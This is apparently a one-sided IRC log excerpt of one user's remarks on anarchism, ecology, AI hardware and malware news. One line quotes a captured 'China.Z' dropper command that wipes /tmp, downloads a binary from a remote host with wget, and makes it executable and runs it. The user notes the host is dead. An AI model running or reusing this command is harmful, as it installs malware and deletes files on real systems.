asciilifeform: mircea_popescu: https://geektimes.ru/post/269914 << re where 'elbrus' went.

asciilifeform: if gets lucky.

asciilifeform: beech can stand for 1,001 years, or burn overnight.

asciilifeform: thing about nature is that nobody promised anyone a single equilibrium point

asciilifeform: this is a fairly broad category

asciilifeform: (in western eu - poppies)

asciilifeform: where the villages burned - there are now birches.

asciilifeform: hence why ru is full of'em

asciilifeform: it is the closest thing to wheat among trees

asciilifeform: birch is terrible example

asciilifeform: and 'humans are every bit as stupid as bacteria"

asciilifeform: the perennial favourite example (as seen in, e.g., orlov, and elsewhere) is bacteria in agar

asciilifeform: elaborate plox ?

asciilifeform: but i have nfi what is in them.

asciilifeform: iirc we actually have pretty good records of cn ~prior to rice~

asciilifeform: as in, 'too cheap to meter' (tm) (r) morally corroding.

asciilifeform: so mircea_popescu is of ye olde 'banana makes africans stupid' school ?

asciilifeform: so - spent

asciilifeform: equalize as in, spent ?

asciilifeform: rather than kind

asciilifeform: seems like a difference of degree

asciilifeform: or 'throw rock at deer and eat phreeee meat'

asciilifeform: how does '1m people, 2m collapsed wallmarts' differ from 'put shit in the ground and let the sun do the work' ?

asciilifeform: as in http://btcbase.org/log/2016-05-21#1470228 ☝︎

asciilifeform: how cheap the energy before it is 'socialist herring' ?

asciilifeform: here is the question that itches me:

asciilifeform: sorta what makes it what it is, neh?

asciilifeform: but ~all cartoon characters can only live in the paper

asciilifeform: ah, 'captain estar'

asciilifeform: wai which

asciilifeform: i can almost hear the indian accent

asciilifeform: 'PGP digital Key signing tool' ??

asciilifeform: in other not-quite-nyooz, http://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html << some dissection of the swift trojan, as seen in the old thread, http://btcbase.org/log/2016-03-12#1430996 ☝︎

asciilifeform: trinque: cat is wild.

asciilifeform: meanwhile, outside of my window, http://www.loper-os.org/pub/disapproval_cat.jpg

asciilifeform: afaik

asciilifeform: not so much - their villages were miniature totalitarian monstrosities in themselves

asciilifeform: how 'anarchic' was their flavour

asciilifeform: is this isomorphic to the swedish fishermen thing ?

asciilifeform: waiwut

asciilifeform: not wholly unrelated though. being the reason we haven't any serious anarchic communes to kick around no moar, is that they're no good at war.

asciilifeform: i dun think war cared if anybody wrote it down as 'legitimate endeavour' or not

asciilifeform: if they don't, they fight - where's the enigma here

asciilifeform: live with wolf ?

asciilifeform: anywhere !

asciilifeform: show me where 'the state must exist' in, e.g., kropotkin

asciilifeform: mircea_popescu must've read a very different set of anarchists than asciilifeform

asciilifeform: how does one 'socialist' without statism

asciilifeform: on what planet ?

asciilifeform: diff anarchist anomist ?

asciilifeform: moar like 1880.

asciilifeform: nor did the folks you got the t1 from give half a fuck what you did with it

asciilifeform: if anything, it was ~more~ doable in '96, nobody ipbanned

asciilifeform: i have nfi

asciilifeform: in other not-quite-fresh-nyooz, https://3.bp.blogspot.com/-jrApTQkrqY0/Vz8I5cEbM6I/AAAAAAAAeBI/RNtv0fXWF1EpXgL7KJL58KqSD_rtK1QiwCLcB/s1600/jingle.jpg

asciilifeform: box is stone dead.

asciilifeform: wget same.

asciilifeform: curl

asciilifeform: the lulzy bit is that the thing hosting the dropper is dead.

asciilifeform: aha

asciilifeform: the real mega-question is ~where~ this worx

asciilifeform: pretty obvious, neh ?

asciilifeform: bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "-"

asciilifeform: in other nyooz,

asciilifeform doesn't get it

asciilifeform: more of a puckering sphincter

asciilifeform: there was a pretty sharp transition from, e.g., mccarthy to jwz

asciilifeform: sure but if he lives today ?

asciilifeform: what next, 14th c let's-treat-the-wound-with-shit idiot is 'doctor' ?

asciilifeform: in what universe does it make sense to regard the imbeciles as 'cs folks' ?

asciilifeform: a working $s would be almost as good

asciilifeform: Framedragger: this is in the old logz

asciilifeform: mircea_popescu: related lulz, http://www.theverge.com/circuitbreaker/2016/5/19/11716818/google-alphago-hardware-asic-chip-tensor-processor-unit-machine-learning << go asic

asciilifeform: lel

asciilifeform: caeks!

asciilifeform: that was my first thought !

asciilifeform: the ip becomes ~useless for any other use

asciilifeform: that there's the general minus of scanning

asciilifeform: one for mircea_popescu: https://gfycat.com/ThoughtfulShamelessChimpanzee

asciilifeform: mircea_popescu: iirc it was some variation of 'you don't need to know how magic trick works'

asciilifeform: quite

asciilifeform: hm

asciilifeform: i think it croaked long ago

asciilifeform: (google claims it translates 'swindler')

asciilifeform: next we find that aferist is not english word!!?

asciilifeform: (iirc it was why dan mocsny went)

asciilifeform: to pick up chix?

asciilifeform: wake me up when anybody anywhere performs this type of seppuku.

asciilifeform: why would a successful (in the financial own-legs sense) heresiarch 'go follow a master' ?

asciilifeform: it is always quite painful to watch.

asciilifeform: and ends up with 'for practical use...' poppycock

asciilifeform: where fella decides he 'believes' x,y,z but is not intellectually up to the task of systematizing

asciilifeform: there is this thing,

asciilifeform: ( http://www.wired.com/2015/03/need-free-digital-hardware-designs )

asciilifeform: 'Printer patterns to make a useful, practical object (i.e., functional rather than decorative) must be free because they are works made for practical use. '

asciilifeform: i'm beginning to remember this tho

asciilifeform: wai wut where is the 'practical use' line from

asciilifeform: (and, also not irrelevant, it was generally sane)

asciilifeform: and generally one had to swallow what was on the plate.
